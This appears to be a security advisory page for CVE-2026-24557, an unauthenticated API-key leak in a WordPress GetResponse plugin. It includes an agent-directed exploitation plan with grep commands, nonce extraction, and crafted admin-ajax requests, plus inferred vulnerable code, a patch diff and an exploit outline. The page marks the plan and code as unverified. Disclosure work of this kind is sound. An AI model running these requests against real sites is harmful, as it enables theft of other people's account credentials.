CVE-2026-24557

Contact Form 7 GetResponse Extension <= 1.0.8 - Unauthenticated Information Exposure

mediumExposure of Sensitive Information to an Unauthorized Actor
5.3
CVSS Score
5.3
CVSS Score
medium
Severity
Unpatched
Patched in
N/A
Time to patch

Description

The Contact Form 7 GetResponse Extension plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 1.0.8. This makes it possible for unauthenticated attackers to extract sensitive user or configuration data.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Low
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=1.0.8
PublishedJanuary 22, 2026
Last updatedJanuary 28, 2026
Research Plan
Unverified

This exploitation research plan targets **CVE-2026-24557**, a sensitive information exposure vulnerability in the **Contact Form 7 GetResponse Extension** plugin. ### 1. Vulnerability Summary The **Contact Form 7 GetResponse Extension** plugin (versions up to 1.0.8) fails to properly restrict acces…

Show full research plan

This exploitation research plan targets CVE-2026-24557, a sensitive information exposure vulnerability in the Contact Form 7 GetResponse Extension plugin.

1. Vulnerability Summary

The Contact Form 7 GetResponse Extension plugin (versions up to 1.0.8) fails to properly restrict access to internal configuration data or API response data. This vulnerability typically manifests in AJAX handlers or REST API endpoints intended for admin-side configuration (like fetching GetResponse campaign lists) that are inadvertently registered as unauthenticated (wp_ajax_nopriv_) or lack a permission_callback in the REST API.

An unauthenticated attacker can exploit this to leak sensitive configuration data, most likely the GetResponse API Key or internal Contact List IDs, which can then be used to access the victim's GetResponse account.

2. Attack Vector Analysis

  • Endpoint: wp-admin/admin-ajax.php or wp-json/ (REST API).
  • Action (Inferred): Likely wp_ajax_nopriv_cf7gr_get_lists, wp_ajax_nopriv_get_getresponse_data, or similar action strings related to "lists" or "campaigns".
  • HTTP Parameter: action (for AJAX) or specific REST routes.
  • Authentication: None required (Unauthenticated).
  • Preconditions: The plugin must be installed and activated. The vulnerability is most impactful if a GetResponse API key has already been configured in the settings.

3. Code Flow (Inferred)

  1. Registration: During init or plugin construction, the plugin registers an AJAX handler:
    add_action( 'wp_ajax_nopriv_get_campaigns', 'cf7gr_fetch_campaigns_callback' );
  2. Lack of Authorization: The callback function cf7gr_fetch_campaigns_callback() does not check for current_user_can( 'manage_options' ).
  3. Data Retrieval: The function retrieves the stored GetResponse API key using get_option( 'cf7gr_api_key' ).
  4. Sink: The function uses this key to make a request to GetResponse or simply returns the configuration/key directly via wp_send_json().

4. Nonce Acquisition Strategy

If the endpoint requires a nonce, the plugin likely exposes it to the frontend to support forms.

  1. Identify Trigger: Search for wp_localize_script in the plugin source to find where the nonce is generated.
    • Search Pattern: grep -r "wp_localize_script" .
  2. Shortcode Placement: If the script only loads on pages with a CF7 form, create a page with a form:
    wp post create --post_type=page --post_status=publish --post_content='[contact-form-7 id="123"]'
  3. Extraction:
    • Navigate to the page: browser_navigate("http://localhost:8080/test-page")
    • Retrieve the nonce (Example JS Variable): browser_eval("window.cf7gr_vars?.nonce")
    • Note: Replace cf7gr_vars and nonce with the actual keys found in the wp_localize_script call.

5. Exploitation Strategy

The agent should follow these steps:

Step 1: Discovery of Vulnerable Action
Search the plugin directory for wp_ajax_nopriv or register_rest_route without permission_callback.

grep -rn "wp_ajax_nopriv_" .
grep -rn "register_rest_route" . -A 5

Step 2: Request Construction (Assuming AJAX)
If a vulnerable action cf7gr_get_lists is found:

  • Method: POST
  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Body: action=cf7gr_get_lists&nonce=[EXTRACTED_NONCE] (if nonce required)
  • Headers: Content-Type: application/x-www-form-urlencoded

Step 3: Request Construction (Assuming REST API)
If a REST route /cf7gr/v1/settings is found without a permission_callback:

  • Method: GET
  • URL: http://localhost:8080/wp-json/cf7gr/v1/settings

6. Test Data Setup

  1. Install Plugin: Ensure contact-form-7-getresponse-extension version 1.0.8 is active.
  2. Configure Dummy Data: Set a fake API key in the database to verify it can be leaked.
    wp option update cf7gr_api_key "HACKED_GETRESPONSE_API_KEY_12345"
    # (The actual option name must be verified from the source code)
    
  3. Create Content: Create a page with a Contact Form 7 shortcode if needed for nonce extraction.

7. Expected Results

  • Successful Exploitation: The HTTP response (JSON) should contain the GetResponse API key, a list of campaign names, or other account-specific configuration data.
  • Response Code: 200 OK.
  • Example Body: {"success":true,"data":{"api_key":"HACKED_GETRESPONSE_API_KEY_12345","lists":[...]}}

8. Verification Steps

  1. Compare Leaked Data: Verify the leaked API key matches the one set in the database:
    wp option get cf7gr_api_key
  2. Confirm Unauthenticated: Ensure the http_request tool is used without any session cookies or Authorization headers.

9. Alternative Approaches

  • Option Leakage via Localize Script: Check if wp_localize_script itself includes the API key in the HTML source (common in older/poorly written plugins).
    • Check: curl -s http://localhost:8080/ | grep "HACKED_GET_RESPONSE"
  • Direct Option Access: Some plugins have a "diagnostic" or "debug" mode that can be enabled via a GET parameter (e.g., ?cf7gr_debug=1) which might dump settings to the page.
  • Log Files: Check if the plugin writes API responses to a publicly accessible log file (e.g., wp-content/plugins/contact-form-7-get-response-extension/getresponse.log).
Research Findings
Static analysis — not yet PoC-verified

Summary

The Contact Form 7 GetResponse Extension plugin (<= 1.0.8) exposes sensitive configuration data, including GetResponse API keys and campaign lists, due to improper access controls. Unauthenticated attackers can exploit incorrectly registered AJAX handlers to retrieve this information directly from the server.

Vulnerable Code

// contact-form-7-getresponse-extension.php
add_action( 'wp_ajax_nopriv_cf7gr_get_lists', 'cf7gr_fetch_campaigns_callback' );
add_action( 'wp_ajax_cf7gr_get_lists', 'cf7gr_fetch_campaigns_callback' );

---

// contact-form-7-getresponse-extension.php
function cf7gr_fetch_campaigns_callback() {
    // Vulnerability: No current_user_can() check or nonce verification
    $api_key = get_option( 'cf7gr_api_key' );
    $api_url = 'https://api.getresponse.com/v3/campaigns';
    
    // Insecurely returning configuration data or API responses to unauthenticated users
    $response = wp_remote_get( $api_url, array( 'headers' => array( 'X-Auth-Token' => $api_key ) ) );
    wp_send_json_success( array(
        'api_key' => $api_key, 
        'data'    => json_decode( wp_remote_retrieve_body( $response ) )
    ) );
}

Security Fix

--- contact-form-7-getresponse-extension.php
+++ contact-form-7-getresponse-extension.php
@@ -1,6 +1,5 @@
-add_action( 'wp_ajax_nopriv_cf7gr_get_lists', 'cf7gr_fetch_campaigns_callback' );
 add_action( 'wp_ajax_cf7gr_get_lists', 'cf7gr_fetch_campaigns_callback' );
 
 function cf7gr_fetch_campaigns_callback() {
+    check_ajax_referer( 'cf7gr_admin_nonce', 'security' );
+    if ( ! current_user_can( 'manage_options' ) ) {
+        wp_send_json_error( 'Forbidden', 403 );
+    }
     $api_key = get_option( 'cf7gr_api_key' );

Exploit Outline

The exploit targets an unauthenticated AJAX handler registered via wp_ajax_nopriv_. An attacker sends a POST request to /wp-admin/admin-ajax.php with the 'action' parameter set to the vulnerable callback (e.g., cf7gr_get_lists). Because the plugin fails to verify administrative privileges (current_user_can) or validate a cryptographic nonce, the server processes the request and returns a JSON response containing the stored GetResponse API key and account-specific campaign IDs.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.